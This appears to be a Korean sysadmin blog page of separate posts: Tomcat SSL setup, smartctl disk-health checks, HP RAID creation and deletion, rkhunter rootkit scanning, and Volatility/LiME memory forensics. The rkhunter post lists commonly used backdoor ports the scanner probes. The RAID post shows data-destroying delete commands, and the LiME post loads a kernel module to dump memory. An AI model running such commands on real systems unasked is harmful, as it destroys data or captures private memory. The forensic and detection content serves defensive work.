톰캣에 apr 라이브러리 들어가있으니 위에 말한것처럼 나는 keytool 을 이용하지 않고 아파치에 설정하듯이 하겠다.


엄청 쉽다.

    <Connector  

        port="443" SSLEnabled="true" 

        scheme="https" secure="true" sslProtocol="TLS" SSLEngine="on"

        SSLPassword="비밀번호" 

        SSLCertificateKeyFile="conf/ssl/ssl.key"

        SSLCertificateFile="conf/ssl/ssl.crt"

        SSLCertificateChainFile="conf/ssl/chain_ssl.crt"

        SSLCACertificateFile="conf/ssl/chain_all_ssl.crt"

    />


적당한곳에다가 위내용 넣고 재시작하면된다고 한다.

근데 안된다. 그래서 결국 keytool로 했다. 하 진작에 keytool로 할껄 2시간 버렸네 




ps.

트래픽이 많이나오는 무거운 웹서버에서는 keytool 이용한 jsse 방식보다는 apr 방식에다가 인증서를 적용하는게 퍼포먼스와 안정성이 더 좋다라는 내용(이건 구글링)이 있는데

내 결론은 

그냥 편한거 하는게 좋은거같다. 안정성이나 뭐 퍼포먼스가 더 좋다는데...옛날에야 하드웨어가 안좋으니 뭐 커널튜닝이니 뭐니 퍼포먼스에 신경썼겠지만 요새는 하드웨어가 워낙 짱짱한데.. 인증서 적용하는데 그런거까지 신경쓸필요있을까 ? 



smartctl 을 이용한 디스크 점검하기

 

 

for i in `fdisk -l | grep "Disk\ \/dev\/" | awk '{print $2}' | awk -F ":|/" '{print $3}'`
##디스크 디바이스명 다 불러와서

 

###SSD / SATA&SAS 에 따라

DISK_CLASS=`cat /sys/block/$i/queue/rotational`

###0이면 SSD 1이면 SATA

if [ $DISK_CLASS = 0 ];then

elif [ $DISK_CLASS = 1 ];then

 

레이드 컨트롤러 장착 여부에 따라 디스크 체크하는 스크립트를 만들기

 

 

 

 

SSD 디스크 점검 사항
Power_On_Hours / 디스크 사용 시간

Wear_Leveling_Count / 모든 셀에 데이터가 1회 기록되면 카운트 +1
ㄴ즉 512GB 짜리 SSD에 있는 모든 저장 공간에 512GB 전체(실 사용 용량으로 치면 한...480GB 되나 ?)에 데이터가 한번씩 씌어지면 1회로 치는듯 

Airflow_Temperature_Cel / 디스크 온도

Reallocated_Sector_Ct / 섹터에 문제가 생겨서 스페어 영역으로 섹터를 이동시켰따... 즉 베드섹터
Total_LBAs_Written / 디스크에 총 write 된 사용량

 

###필드 설명###
VALUE : 속성의 현재 값(보통 백분율 단위)

WORST : 속성이 여지껏 가장 안좋았던 값

THRESH : 속성이 해당 값이 되면 안된다 하는 값 (임계값)

RAW_VALUE : 백분율로 하지 않은 현재 값

 
 

1.Power_On_Hours / 디스크 사용 시간

  9 Power_On_Hours          0x0032   098   098   000    Old_age   Always       -       6714

여기서 raw_value는 시간단위이다. 6714시간 사용했다는 뜻
여기서는 value 값을 보면된다.

THRESH 가 0 이고 VALUE 는 98 이다. 아직 여유 많다. 한 5~10 미만으로 내려가면 알람오게 설정할 예정

 

 

2.Wear_Leveling_Count / 모든 셀에 데이터가 1회 기록되면 카운트 +1

177 Wear_Leveling_Count     0x0013   099   099   000    Pre-fail  Always       -       19

이것도 RAW_VALUE는 볼 필요 없고 VALUE 만 보면 된다.

099 니까 이것도 5~10미만으로 내려가면 알람오게 설정

 

 

3.Airflow_Temperature_Cel / 디스크 온도

190 Airflow_Temperature_Cel 0x0032   073   067   000    Old_age   Always       -       27

이것도 뭐 .. VALUE 10미만이면 알람오게
 
4.Reallocated_Sector_Ct / 섹터에 문제가 생겨서 스페어 영역으로 섹터를 이동시켰따... 즉 베드섹터

  5 Reallocated_Sector_Ct   0x0033   100   100   036    Pre-fail  Always       -       0
RAW_VALUE 가 0 이 아니라면 디스크 교체해야함

 

5.Total_LBAs_Written / 디스크에 총 write 된 사용량

241 Total_LBAs_Written      0x0032   099   099   000    Old_age   Always       -       6174993057

이것도 VALUE 10미만이면 알람오게 하면 되나..?

정확히는 raw_value를 기준으로 계산하는법이 있다.
https://brunch.co.kr/@lars/3 요사이트에 설명 잘 돼있음
대충 요약하자면... 디스크의 총 WRITE 된 용량을 계산하고 해당 디스크가 어느정도 용량의 WRITE를 워런티? 해주는지... 말그대로 수명이다.

삼성 SSD 256기가 기준으로
RAW_VALUE(ex..6174993057) * 512 / 1024 * 1024 * 1024 * 1024 > 300 일경우 문제가 생긴다.
raw_value * 512 = 현재 write 된 사용량과 거기에 섹터 사이즈를 곱해서 실제로 write 된 용량을 확인하고..
그다음 1024 ^4 을 나눠서TB 로 계산하기 위해서다.
삼성 ssd 256 860 pro 는 300TBW를 보장한다고 한다. 300TBW란 300테라(T) 바이트(B)의 write(W)를 보장한다는 뜻이다.

 

https://www.samsung.com/semiconductor/minisite/ssd/product/consumer/860pro/ 에서 확인해보면 아래와 같다.

Warranty

  • MZ-76P256BW (256 GB)
  • 5 Years or 300 TBW
  •  
  • MZ-76P512BW (512 GB)
  • 5 Years or 600 TBW
  •  
  • MZ-76P1T0BW (1,024 GB)
  • 5 Years or 1,200 TBW
  • MZ-76P2T0BW (2,048 GB)
  • 5 Years or 2,400 TBW
  •  
  • MZ-76P4T0BW (4,096 GB)
  • 5 Year or 4,800 TBW

 

 

 

 

 

 

 

 

 

 

실제로 계산해보면... 터무니없는 용량이다... 아무리 쓰기가 빈번한 디스크라쳐도... 이걸 찾아보면서 굳이 이 스크립트를 만드는게 의미가 있는걸까 싶긴한데.... 그래도 앞으로 5년 10년 사용하면 문제가 생길테니까.. 그외 뭐 사용 시간이라던지 온도라던지... 이걸 굳이 스크립트로 짤 필요가 있나란 생각도 잠깐 들었는데 이 서버를 앞으로 3년 5년 사용하다보면 문제 생길테니까 미리 만들어놓는게 좋겠습니다.

 

 

그 외에 추가로 봐야할 속성들은..

181 Program_Fail_Cnt_Total  0x0032   100   100   010    Old_age   Always       -       0
ㄴ프로그램 실패 갯수. 아직 한개도 없네요. 없는게 정상

182 Erase_Fail_Count_Total  0x0032   100   100   010    Old_age   Always       -       0

ㄴ 삭제 실패 갯수, 아직 한개도 없네요. 없는게 정상

위 두개도 더 봐주면 좋겠네요.

 

ssd 끝

#####

sata 시작

 

SATA 점검해야할 송성

 

Reallocated_Sector_Ct = SSD에서 설명함, 동일함

Seek_Error_Rate = 탐색 지연 오류 비율 이라한다. 정상일경우 0

Spin_Retry_Count = 오류로 멈추었따가 구동된 횟수  정상일경우 0

Current_Pending_Sector = 명령시간 초과 횟수 정상일경우 0

Offline_Uncorrectable = 수정 할 수 없는 에러 발생, 정상일경우 0

UDMA_CRC_Error_Count = 케이블 뷸량, 파티션간 에러, 정상일경우 0

ㄴ이거는 몇몇 서버에서 0 아닌서버들이 적잖이 있음, 이런 서버는 디스크, 혹은 케이블등 점검이 필요한 것같다.

 

전부 raw_value 기준이다.

 

 

그 외에... 

 

Raw_Read_Error_Rate = 디스크raw단에서 데이터 읽는 과정에서 문제가 있을 경우(sata가 뺑글뺑글 돌면서 물리적인 표면에서 읽을 때 문제가 있을경우인듯) 물리적인 부분이라 물리적인 충격에 의해 발생한다고 함, 이거는 정상이라면 0이어야 하는데 0 아닌 서버들이 겁나게 많다. 완벽주의자면... 다 교체 해주던가... 난 패쓰해도 될꺼같다.... 추가로 SSD는 0인 디스크들이 대부분인반면 SATA는 0인 서버를 찾을 수가 없다. 이건 뭐.. ssd 플래시 메모리 방식과 sata 구동방식의 차이 때문 아닐까 혼자 짐작해본다.

 

 

###########

nvme 설명

 

available_spare                     : 100%     

available_spare_threshold           : 4%

percentage_used                     : 0%

controller_busy_time                : 2,502

unsafe_shutdowns                    : 4

media_errors                        : 0

 

 

요약하자면

 

1. available_spare < available_spare_threshold  이 되면 위험 , spare 영역 어쩌구 저쩌구
2. percentage_used 100% 넘어가면 위험함, 밴더사별로 내놓은 워런티? 수명? 뭐 그런거임

3. controller_busy_time 분단위인데.... 바쁘게(I/O 큐가 밀려있을때) 움직인 시간... 대기작업이 많이 있는경우 올라가는거라 정상인것같다.(정확하지 않다.) 0인 서버 못찾음

4. unsafe_shutdowns 말그대로임, 서버 강종하지말자.

5. media_errors 는 1 되면 배드섹터 감지된거니까 교체해야함

 

nvme는 모니터링해야되는게
1. available_spare < available_spare_threshold 

2. percentage_used > 100 

3.media_errors > 0

 

위 3개정도 하면 될듯하다.

 

###

 

sas 는 total uncorrected erros 이 항목만 보연 된댄다.

 

        SAS=`smartctl -a /dev/$i | grep Transport | wc -l`

        if [ $SAS != 0 ];then

        TUE=`smartctl -d /dev/$i  | egrep "read:|write:|verify:" | awk '{print $8}'`

                for sas_disk in $TUE

                do

                        if [ $sas_disk -gt 0 ];then

                        echo -ne "\033[33m Disk Total uncorrected error check\n"

                        echo -e "\033[0m"

                        fi

                done

        fi

 

 

################

마지막으로 레이드 컨트롤러가 장착돼있을 경우 smartctl 하는 방법

 

 

HP서버

 

smartctl -a -d cciss,디스크넘버 /dev/sda

 

아래는 1TB raid 1 로 SSD 480GB * 2ea / raid 0 으로 SATA 1TB 구성돼있는 상태이고 추가로 SATA 1TB 레이드 안잡혀있는, 즉 디스크 만 꼽혀있는 상태이다.


[root@localhost ~]#  hpssacli ctrl all show config


Smart HBA H240 in Slot 2 (RAID Mode)      (sn: )



   Port Name: 2I


   Port Name: 1I


   Internal Drive Cage at Port 1I, Box 1, OK

   array A (Solid State SATA, Unused Space: 0  MB)



      logicaldrive 1 (447.1 GB, RAID 1, OK)


      physicaldrive 1I:1:1 (port 1I:box 1:bay 1, Solid State SATA, 480.1 GB, OK)

      physicaldrive 1I:1:2 (port 1I:box 1:bay 2, Solid State SATA, 480.1 GB, OK)


   array B (SATA, Unused Space: 0  MB)



      logicaldrive 2 (931.5 GB, RAID 0, OK)


      physicaldrive 1I:1:3 (port 1I:box 1:bay 3, SATA, 1 TB, OK)


   unassigned


      physicaldrive 1I:1:4 (port 1I:box 1:bay 4, SATA, 1 TB, OK) 
##주석##추가 디스크임, 레이드를 안잡았으니 logicaldrive 정보가 없고
 unassigned 으로 표기됨을 확인할 수 있음



1.레이드를 잡기 위해선 레이드 컨트롤러가 장착된 슬롯 번호physicaldrive 번호 확인이 필요하다.


Smart HBA H240 in Slot 2 (RAID Mode)      (sn: )



   Port Name: 2I


   Port Name: 1I


   Internal Drive Cage at Port 1I, Box 1, OK

   array A (Solid State SATA, Unused Space: 0  MB)



      logicaldrive 1 (447.1 GB, RAID 1, OK)


      physicaldrive 1I:1:1 (port 1I:box 1:bay 1, Solid State SATA, 480.1 GB, OK)

      physicaldrive 1I:1:2 (port 1I:box 1:bay 2, Solid State SATA, 480.1 GB, OK)


   array B (SATA, Unused Space: 0  MB)



      logicaldrive 2 (931.5 GB, RAID 0, OK)


      physicaldrive 1I:1:3 (port 1I:box 1:bay 3, SATA, 1 TB, OK)


   unassigned


      physicaldrive 1I:1:4 (port 1I:box 1:bay 4, SATA, 1 TB, OK)



2.슬롯번호와 physicaldrive 를 확인하였으면 레이드 설정하는 명령어를 입력한다.

[root@localhost ~]# hpssacli ctrl slot=2 create type=ld drives=1I:1:4 raid=0

###레이드 컨트롤러 슬롯번호는 2번이고(slot=2) 생성 타입은 로지컬 드라이브(create type=ld) 대상 디스크(drives=1I:1:4) 생성할 레이드 타입은 raid 0(raid=0)

###raid 1 또는 raid 5를 하려면 아래와같이 디스크 번호 추가해주고 raid 적어주면된다.###

hpssacli ctrl slot=0 create type=ld drives=1I:1:1,1I:1:2 raid=1

hpssacli ctrl slot=0 create type=ld drives=1I:1:1,1I:1:2,2I:1:6,2I:1:7,2I:1:8 raid=5




3.작업 완료후 레이드 상태를 보면 logical drive 3 이 추가된것을 확인할 수 있다. 또한 fdisk를 통해 디스크 추가를 확인할 수 있다.

[root@localhost ~]#  hpssacli ctrl all show config


Smart HBA H240 in Slot 2 (RAID Mode)      (sn: )



   Port Name: 2I


   Port Name: 1I


   Internal Drive Cage at Port 1I, Box 1, OK

   array A (Solid State SATA, Unused Space: 0  MB)



      logicaldrive 1 (447.1 GB, RAID 1, OK)


      physicaldrive 1I:1:1 (port 1I:box 1:bay 1, Solid State SATA, 480.1 GB, OK)

      physicaldrive 1I:1:2 (port 1I:box 1:bay 2, Solid State SATA, 480.1 GB, OK)


   array B (SATA, Unused Space: 0  MB)



      logicaldrive 2 (931.5 GB, RAID 0, OK)


      physicaldrive 1I:1:3 (port 1I:box 1:bay 3, SATA, 1 TB, OK)


   array C (SATA, Unused Space: 0  MB)



      logicaldrive 3 (931.5 GB, RAID 0, OK)  ###원래는 unassigned 였는데 레이드 0으로 잡아줬으니 변경됨


      physicaldrive 1I:1:4 (port 1I:box 1:bay 4, SATA, 1 TB, OK)



[root@localhost ~]# fdisk -l


Disk /dev/sda: 480.1 GB, 480070426624 bytes

255 heads, 63 sectors/track, 58365 cylinders

Units = cylinders of 16065 * 512 = 8225280 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 262144 bytes / 262144 bytes

Disk identifier: 0x0009a5c1


   Device Boot      Start         End      Blocks   Id  System

/dev/sda1               1          27      215040   83  Linux

/dev/sda2              27         288     2097152   82  Linux swap / Solaris

/dev/sda3             288       58366   466505560   83  Linux


Disk /dev/sdb: 1000.2 GB, 1000171331584 bytes

255 heads, 63 sectors/track, 121597 cylinders

Units = cylinders of 16065 * 512 = 8225280 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 262144 bytes / 262144 bytes

Disk identifier: 0x0009a5c1


   Device Boot      Start         End      Blocks   Id  System

/dev/sdb1               1          27      215040   83  Linux

/dev/sdb2              27         288     2097152   82  Linux swap / Solaris

/dev/sdb3             288      121597   974414686+  83  Linux


Disk /dev/sdc: 1000.2 GB, 1000171331584 bytes

255 heads, 63 sectors/track, 121597 cylinders

Units = cylinders of 16065 * 512 = 8225280 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 262144 bytes / 262144 bytes

Disk identifier: 0x97d80c0a






레이드 삭제하는법


1.위에서 추가한 logicaldrive 3 (931.5 GB, RAID 0, OK) 을 삭제하겠다.
[root@localhost ~]# hpssacli ctrl slot=2 ld 3 delete        ###슬롯2번의 레이드컨트롤러의 로지컬드라이브 3번(ld 3) 을 삭제하겠다.

Warning: Deleting an array can cause other array letters to become renamed.

         E.g. Deleting array A from arrays A,B,C will result in two remaining

         arrays A,B ... not B,C

##### 각 로지컬 드라이브 앞에 array A (디스크 정보) 이런식으로 A , B , C 나오는데 중간에 B 를 삭제하면 array A, C 가 아니라 A, B 가 된다는 얘기 별 중요하지 않음


Warning: Deleting the specified device(s) will result in data being lost.

         Continue? (y/n) y   

###데이터 삭제하니까 정말 진행할꺼냐




##########

Error: Unable to delete logicaldrive 2. Please verify that the logical drive is

       the last logical drive on the array and no other operations are being

       performed on it.


Reason: In use by os
위와같은 에러 발생했다. 파티션이 마운트 돼 있는지 확인해봐야한다. 마운트돼있따 ㅋㅋ 마운트 푸니까 잘 된다.
############




[root@localhost ~]#  hpssacli ctrl all show config  


Smart HBA H240 in Slot 2 (RAID Mode)      (sn: )



   Port Name: 2I


   Port Name: 1I


   Internal Drive Cage at Port 1I, Box 1, OK

   array A (Solid State SATA, Unused Space: 0  MB)



      logicaldrive 1 (447.1 GB, RAID 1, OK)


      physicaldrive 1I:1:1 (port 1I:box 1:bay 1, Solid State SATA, 480.1 GB, OK)

      physicaldrive 1I:1:2 (port 1I:box 1:bay 2, Solid State SATA, 480.1 GB, OK)


   array B (SATA, Unused Space: 0  MB)



      logicaldrive 2 (931.5 GB, RAID 0, OK)


      physicaldrive 1I:1:3 (port 1I:box 1:bay 3, SATA, 1 TB, OK)


   unassigned #### logicaldrive 3번이 삭제된것을 확인할 수 있다.


      physicaldrive 1I:1:4 (port 1I:box 1:bay 4, SATA, 1 TB, OK)



링크(디스크 불) on/off 하는법

hpssacli ctrl slot=0 ld 2 modify led=on


hpssacli ctrl slot=0 ld 2 modify led=off

zgrep "authid=" /var/log/maillog* | awk '{print $8}' | sort | uniq -c | grep authid | sort -r


  


 zgrep "authid=" /var/log/maillog* |  awk '{print $7}' | sort | grep relay |  uniq -c | sort -r


 

특정 계정이 대량메일 발송할때 로그 토대로 카운트 찍어서 찾는거

'job > linux' 카테고리의 다른 글

smartctl 을 이용한 디스크 점검하기  (0) 2018.11.14
hp cli(os단) 레이드 잡는법, 삭제하는법  (0) 2018.09.06
rkhunter 설치  (0) 2018.09.03
컴파일 빠르게 하기  (0) 2018.09.03
메모리덤프  (0) 2018.09.03
루트킷 확인을 위한 rkhunter 설치 및 사용법
 
루트킷이란 루트권한을 획득한 공격자가 심어놓은 프로그램을 숨기기 위한 목적으로 사용되는 프로그램입니다.

---------------------------------------------------
먼저 rkhunter 설치프로그램을 다운로드 하겠습니다.
 
 

# tar -xvzf rkhunter-1.4.0.tar.gz 

 
 
# cd rkhunter-1.4.0
 
# sh installer.sh  --install
설치 완료
 

설정파일은 /etc/rkhunter.conf
 
 
84번 라인 MAIL-ON-WARNING= 부분은 경고메일을 받을수 있도록 설정하는 라인 빼고는 특별히 만질것은 없습니다.

(수시로 체크하실것 아니면 주석 처리하면 됩니다.)
 
---------------------------------------------------
실행명령어는
# rkhunter --check 
또는 
# rkhunter -c --rwo  // warning메세지,비정상적인 결과만 출력
입니다.
 
시작하기 전에 rkhunter 가 사용할 DB를 생성합니다.
rkhunter --propupd
 
 
rkhunter -c --rwo 명령어로 실행해보겠습니다.
 
 
 
rootkit hunter 스캔 순서는
1.알려진 rootkit 존재 여부
2.알려진 rootkit 관련 파일 존재 여부,백도어 존재 여부, sniffer 로그 존재 여부
3./etc/rc.d/rc.sysint , /etc/xinetd.conf 파일에 의심스런 설정 추가 여부 스캔
4./bin/ps /bin/ls /bin/netstat 등 자주 변조되는 파일의 변조 여부 스캔
5.로드된 모듈 스캔
6.자주 쓰는 백도어 포트 스캔(2001,2006,2128,14856,47107,60922)
7.NIC의 promisc 여부 스캔
8.유저와 그룹 파일의 변조 여부 스캔
9./etc/rc.d/rc.local 및 rc.d/ 디렉토리 이하 여부 스캔
10. /dev내 수상한 파일 스캔
11. 특정 응용 프로그램의 패치 여부 스캔
12. ssh 보안 설정 등 기타 보안 설정 스캔
-------------------------------------------------------------------------
warning 으로 나오는 부분은 변조되었다거나.. 위험도가 높은것이므로 사용자가 따로 설정한게 아니라면
확인하여 삭제 혹은 정상파일로 대체하시면 됩니다.
체크된 내용중 warning 메세지가 출력된 부분을 살펴보겠습니다.
 
 
 
 
 
 
 
 
 
//주석을 해제해주면 yes로 돼있다고 또 경고를 줍니다. 보안상 no로 해놓고 특정 계정으로 수권한을 획득하는게 가장 좋습니다. 
 
 
 
 
 
 
 
이 외에도 수많은 warning 메세지가 있을수 있으니 구글링을 하여 삭제or복원하여 해결하면 됩니다.

----------------------------------------------------------------------------------
기타 명령어
# rkhunter --update // rkhunter 업데이트가 활발하기 때문에 주기적으로 업데이트할것


'job > linux' 카테고리의 다른 글

hp cli(os단) 레이드 잡는법, 삭제하는법  (0) 2018.09.06
대량메일 발송 특정 IP 혹은 계정 찾기  (0) 2018.09.03
컴파일 빠르게 하기  (0) 2018.09.03
메모리덤프  (0) 2018.09.03
lime 포렌식  (0) 2018.09.03

컴파일 빠르게 하기

 

make의 옵션중 j 옵션을 사용한다.

 

이 옵션은 여러개의 쓰레드를 사용하여 병렬적으로 빌드하여 속도를 올려주는 옵션

 

방식은

 

make -j (코어갯수 + 1)  

ex) make -j 5    // 코어갯수 4개

 

코어갯수 확인은 cat /proc/cpuinfo | grep cores | wc -l

 

 

옵션을 안주고 그냥 make 할경우

이런식으로 하나의 코어만 사용하는데

 

make -j 옵션을 사용했을경우

이런식으로 모든 코어를 사용하는걸 확인할수 있다.

 

8분정도 걸리는 make 작업은 2분정도로 단축됐음

'job > linux' 카테고리의 다른 글

대량메일 발송 특정 IP 혹은 계정 찾기  (0) 2018.09.03
rkhunter 설치  (0) 2018.09.03
메모리덤프  (0) 2018.09.03
lime 포렌식  (0) 2018.09.03
yum 에러날경우  (0) 2018.09.03

백트랙 5.0 R3 작업  


필요 패키지 설치 

- dwarfdump

  Debian/Ubuntu 계열에서 dwarfdump를 설치하시면 되고

  OpenSuSE, Fedora 그리고 그 외 배포판에서는 libdwarf-tools를 설치하시면 됩니다.

- GCC/make

  대부분 설치되어 있으실 것이고 Debian/Ubuntu 계열에서는 build-essential을 설치하시면 됩니다.

  (build-essential을 꼭 설치해야 하는지 확인 안했습니다.)

- kernel-devel

  커널 모듈 빌드를 위한 헤더 파일들이 필요합니다. 


volatility 다운 


wget 이나 svn 으로 다운 


svn checkout http://volatility.googlecode.com/svn/trunk/ volatility-read-only



- vtypes 생성 

# cd volatility-2.2-rc2/tools/linux

# make

# head module.dwarf


profile 생성시 / libdwarf 패키지 설치 

http://siliconslick.com/papitools/centos/5/RPMS/i386/


-profile 만들기 


[root@localhost volatility-2.3.1]# zip volatility/plugins/overlays/linux/

__init__.py  elf.py       linux.py     linux64.py   

[root@localhost volatility-2.3.1]# zip volatility/plugins/overlays/linux/Cent5.x.zip tools/linux/module.dwarf /boot/System.map-2.6.18-348.el5 

  adding: tools/linux/module.dwarf (deflated 89%)

  adding: boot/System.map-2.6.18-348.el5 (deflated 73%)


python vol.py -f /free/memory.lime --profile=Linuxlinuxx86 linux_pstree 

'job > linux' 카테고리의 다른 글

rkhunter 설치  (0) 2018.09.03
컴파일 빠르게 하기  (0) 2018.09.03
lime 포렌식  (0) 2018.09.03
yum 에러날경우  (0) 2018.09.03
쓸만한 리눅스 명령어  (0) 2018.09.03

lime 다운 


svn checkout http://lime-forensics.googlecode.com/svn/trunk/ lime-forensics

[root@localhost local]# cd lime-forensics/src

[root@localhost src]# make

make -C /lib/modules/2.6.18-348.el5/build M=/usr/local/lime-forensics/src modules

make[1]: Entering directory `/usr/src/kernels/2.6.18-348.el5-i686'

  CC [M]  /usr/local/lime-forensics/src/tcp.o

  CC [M]  /usr/local/lime-forensics/src/disk.o

  CC [M]  /usr/local/lime-forensics/src/main.o

  LD [M]  /usr/local/lime-forensics/src/lime.o

  Building modules, stage 2.

  MODPOST

  CC      /usr/local/lime-forensics/src/lime.mod.o

  LD [M]  /usr/local/lime-forensics/src/lime.ko

make[1]: Leaving directory `/usr/src/kernels/2.6.18-348.el5-i686'

strip --strip-unneeded lime.ko

mv lime.ko lime-2.6.18-348.el5.ko

make tidy

make[1]: Entering directory `/usr/local/lime-forensics/src'

rm -f *.o *.mod.c Module.symvers Module.markers modules.order \.*.o.cmd \.*.ko.cmd \.*.o.d

rm -rf \.tmp_versions

make[1]: Leaving directory `/usr/local/lime-forensics/src'

[root@localhost src]# 

[root@localhost src]# insmod lime-2.6.18-348.el5.ko path=/usr/local/lime-forensics/root/memory.lime format=lime

[root@localhost src]# lsmod | grep lime

lime                   12352  0 

'job > linux' 카테고리의 다른 글

컴파일 빠르게 하기  (0) 2018.09.03
메모리덤프  (0) 2018.09.03
yum 에러날경우  (0) 2018.09.03
쓸만한 리눅스 명령어  (0) 2018.09.03
unauthenticated user  (0) 2018.09.03

[root@localhost ~]# yum -y install vim-enhanced dialog sysstat


Setting up Install Process


Setting up repositories


update                    100% |=========================|  951 B    00:00     


base                      100% |=========================| 1.1 kB    00:00     


addons                    100% |=========================|  951 B    00:00     


extras                    100% |=========================| 1.1 kB    00:00     


Reading repository metadata in from local files


primary.xml.gz            100% |=========================| 864 kB    00:01     


update    : ################################################## 1935/1935


primary.xml.gz            100% |=========================|  16 kB    00:53     


http://vault.centos.org/4.8/os/i386/repodata/primary.xml.gz: [Errno 4] Socket Error: timed out


Trying other mirror.


Error: failure: repodata/primary.xml.gz from base: [Errno 256] No more mirrors to try.


[root@localhost ~]# yum -y install vim-enhanced dialog sysstat


Setting up Install Process


Setting up repositories


Reading repository metadata in from local files


primary.xml.gz            100% |=========================|  64 kB    00:57     


http://vault.centos.org/4.8/os/i386/repodata/primary.xml.gz: [Errno 4] Socket Error: timed out


Trying other mirror.


Error: failure: repodata/primary.xml.gz from base: [Errno 256] No more mirrors to try.


[root@localhost ~]# yum clean metadata


Cleaning up xml metadata


10 metadata files removed


[root@localhost ~]# yum -y install vim-enhanced dialog sysstat


Setting up Install Process


Setting up repositories


update                    100% |=========================|  951 B    00:00     


base                      100% |=========================| 1.1 kB    00:00     


addons                    100% |=========================|  951 B    00:00     


extras                    100% |=========================| 1.1 kB    00:00     


Reading repository metadata in from local files


primary.xml.gz            100% |=========================| 864 kB    00:01     


primary.xml.gz            100% |=========================| 611 kB    00:01     


base      : ################################################## 1599/1599


http://vault.centos.org/4.8/addons/i386/repodata/primary.xml.gz: [Errno 12] Timeout: <urlopen error timed out>


Trying other mirror.


Error: failure: repodata/primary.xml.gz from addons: [Errno 256] No more mirrors to try.


[root@localhost ~]# yum clean metadata                        


Cleaning up xml metadata


10 metadata files removed


[root@localhost ~]# yum -y install vim-enhanced dialog sysstat


Setting up Install Process


Setting up repositories


update                    100% |=========================|  951 B    00:00     


base                      100% |=========================| 1.1 kB    00:00     


addons                    100% |=========================|  951 B    00:00     


http://vault.centos.org/4.8/extras/i386/repodata/repomd.xml: [Errno 12] Timeout: <urlopen error timed out>


Trying other mirror.


Cannot open/read repomd.xml file for repository: extras


failure: repodata/repomd.xml from extras: [Errno 256] No more mirrors to try.


Error: failure: repodata/repomd.xml from extras: [Errno 256] No more mirrors to try.


[root@localhost ~]# yum clean all


Cleaning up Everything


0 headers removed


0 packages removed


6 metadata files removed


0 cache files removed


2 cache files removed


[root@localhost ~]# yum -y install vim-enhanced dialog sysstat


Setting up Install Process


Setting up repositories


update                    100% |=========================|  951 B    00:00     


http://vault.centos.org/4.8/os/i386/repodata/repomd.xml: [Errno 12] Timeout: <urlopen error timed out>


Trying other mirror.


Cannot open/read repomd.xml file for repository: base


failure: repodata/repomd.xml from base: [Errno 256] No more mirrors to try.


Error: failure: repodata/repomd.xml from base: [Errno 256] No more mirrors to try.


[root@localhost ~]# yum -y install vim-enhanced dialog sysstat


Setting up Install Process


Setting up repositories


base                      100% |=========================| 1.1 kB    00:00     


addons                    100% |=========================|  951 B    00:00     


extras                    100% |=========================| 1.1 kB    00:00     


Reading repository metadata in from local files


primary.xml.gz            100% |=========================| 864 kB    00:02     


update    : ################################################## 1935/1935


primary.xml.gz            100% |=========================| 611 kB    00:02     


base      : ################################################## 1599/1599


primary.xml.gz            100% |=========================|  190 B    00:00     


primary.xml.gz            100% |=========================|  41 kB    00:00     


extras    : ################################################## 149/149


Parsing package install arguments


Resolving Dependencies


--> Populating transaction set with selected packages. Please wait.


---> Downloading header for sysstat to pack into transaction set.


sysstat-5.0.5-27.el4.i386 100% |=========================|  15 kB    00:00     


---> Package sysstat.i386 0:5.0.5-27.el4 set to be updated


--> Running transaction check




Dependencies Resolved




=============================================================================


 Package                 Arch       Version          Repository        Size 


=============================================================================


Installing:


 sysstat                 i386       5.0.5-27.el4     update            117 k




Transaction Summary


=============================================================================


Install      1 Package(s)         


Update       0 Package(s)         


Remove       0 Package(s)         


Total download size: 117 k


Downloading Packages:


(1/1): sysstat-5.0.5-27.e 100% |=========================| 117 kB    00:01     


Running Transaction Test


Finished Transaction Test


Transaction Test Succeeded


Running Transaction


  Installing: sysstat                      ######################### [1/1] 




Installed: sysstat.i386 0:5.0.5-27.el4


Complete!












요약


에러내용


yum 사용할때


http://vault.centos.org/4.8/os/i386/repodata/repomd.xml: [Errno 12] Timeout: <urlopen error timed out>


Trying other mirror.


Cannot open/read repomd.xml file for repository: base


failure: repodata/repomd.xml from base: [Errno 256] No more mirrors to try.


Error: failure: repodata/repomd.xml from base: [Errno 256] No more mirrors to try.




해결방법 yum clean all , yum clean metadata 




그리고 계속 yum 사용해보니까 됨

'job > linux' 카테고리의 다른 글

메모리덤프  (0) 2018.09.03
lime 포렌식  (0) 2018.09.03
쓸만한 리눅스 명령어  (0) 2018.09.03
unauthenticated user  (0) 2018.09.03
centos 4점대 yum repo  (0) 2018.09.03

+ Recent posts